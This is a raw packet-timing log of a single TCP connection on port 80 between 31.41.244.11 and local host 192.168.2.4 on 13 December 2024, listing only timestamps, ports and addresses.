Dec 13, 2024 01:51:30.796232939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.796289921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.797035933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.797102928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.797168016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.797216892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.798016071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.798067093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.798137903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.799024105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.799098969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.799137115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.799993992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.800057888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.800122023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.800169945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.801000118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.801050901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.801122904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.801171064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.802022934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.802076101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.802095890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.802119017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.802977085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.803035975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.803097963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.803159952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.804028988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.804138899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.804173946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.804207087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.804984093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.805043936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.945426941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.945497990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.945713997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.945713997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.945806026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.945827961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.945849895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.945863962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.946557045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.946598053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.946912050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.946950912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.946986914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.947025061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.947911024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.947952032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.948024035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.948060989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.948896885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.948936939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.948987007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.949026108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.949897051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.949937105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.949999094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.950037003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.950911045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.950973034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.951036930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.951091051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.951916933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.951968908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.952048063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.952097893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.952888966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.952954054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.953010082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.953059912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.953890085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.953943014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.954015017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.954060078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.954876900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.954929113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.954987049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.955035925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.955928087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.956029892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.956058025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.956110954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.956861019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.956914902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.956965923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.957007885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.957864046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.957918882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.957993031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.958043098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.958858013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.958904982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.958971024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.959017992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.959871054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.959923983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.959986925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.960035086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.960874081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.960928917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.960998058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.961045027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.961854935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.961903095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.961963892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.962009907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.962845087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.962896109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.962956905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.963004112 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.963845015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.963888884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.963917971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.963964939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.964869022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.964920998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.964989901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.965044975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.965883017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.965938091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.965992928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.966084003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.966833115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.966881990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.966943026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.966990948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.967823029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.967874050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.967937946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.967984915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.968837023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.968887091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.968950987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.968997955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.969825983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.969877005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.969949007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.969996929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.970846891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.970896006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.970963955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.971009016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.971847057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.971908092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.971971989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.972018957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.972814083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.972862005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.972929955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.972974062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.973819971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.973867893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.974034071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.974083900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.974812984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.974862099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.974930048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.974976063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.975824118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.975883007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.975946903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.975995064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.976803064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.976854086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.976917982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.976964951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.977845907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.977886915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.977900982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.977926970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.978837013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.978884935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.979074001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.979129076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.979815006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.979861021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.979931116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.979978085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.980828047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.980875015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.980978012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.981025934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.981889009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.981930017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.981944084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.981969118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.982799053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.982850075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.982918978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.982966900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.983803034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.983855963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.983958006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.984005928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.984796047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.984852076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.984949112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.985013008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.985806942 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.985860109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.985917091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.985964060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.986807108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.986860991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.986921072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.987010002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.987777948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.987831116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.987907887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.987957001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.988770962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.988821983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.988890886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.988939047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.989754915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.989806890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.989873886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.989921093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.990777016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.990828991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.990885973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.990931034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.991795063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.991859913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.991966009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.992014885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.992773056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.992832899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.992896080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.992944002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.993758917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.993813992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.993869066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.993916035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.994731903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.994784117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.994837999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.994887114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.995754004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.995810032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.995862961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.995910883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.996767044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.996800900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.996823072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.996853113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.137665033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.137733936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.137803078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.137849092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.137875080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.137912035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.137929916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.137969971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.139010906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.139070988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.139106989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.139153004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.139765978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.139811993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.139995098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.140034914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.140723944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.140774965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.140805960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.140841961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.141730070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.141767979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.141801119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.141834974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.142715931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.142755985 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.142815113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.142853975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.143712044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.143750906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.143779993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.143810987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.144705057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.144750118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.144819021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.144890070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.145695925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.145739079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.145809889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.145853043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.146692991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.146733999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.146797895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.146836042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.147694111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.147735119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.147794962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.147831917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.148766994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.148813009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.148890972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.148930073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.149763107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.149806976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.149818897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.149857998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.150712013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.150762081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.150824070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.150875092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.151710033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.151767969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.151828051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.151875973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.152688026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.152750015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.152806044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.152858019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.153687000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.153739929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.153800964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.153850079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.154714108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.154762030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.154875040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.154926062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.155801058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.155854940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.155930042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.155981064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.156708956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.156764030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.156824112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.156874895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.157696009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.157756090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.157860994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.157908916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.158704042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.158755064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:31.158827066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:31.158884048 CET	49809	80	192.168.2.4	31.41.244.11
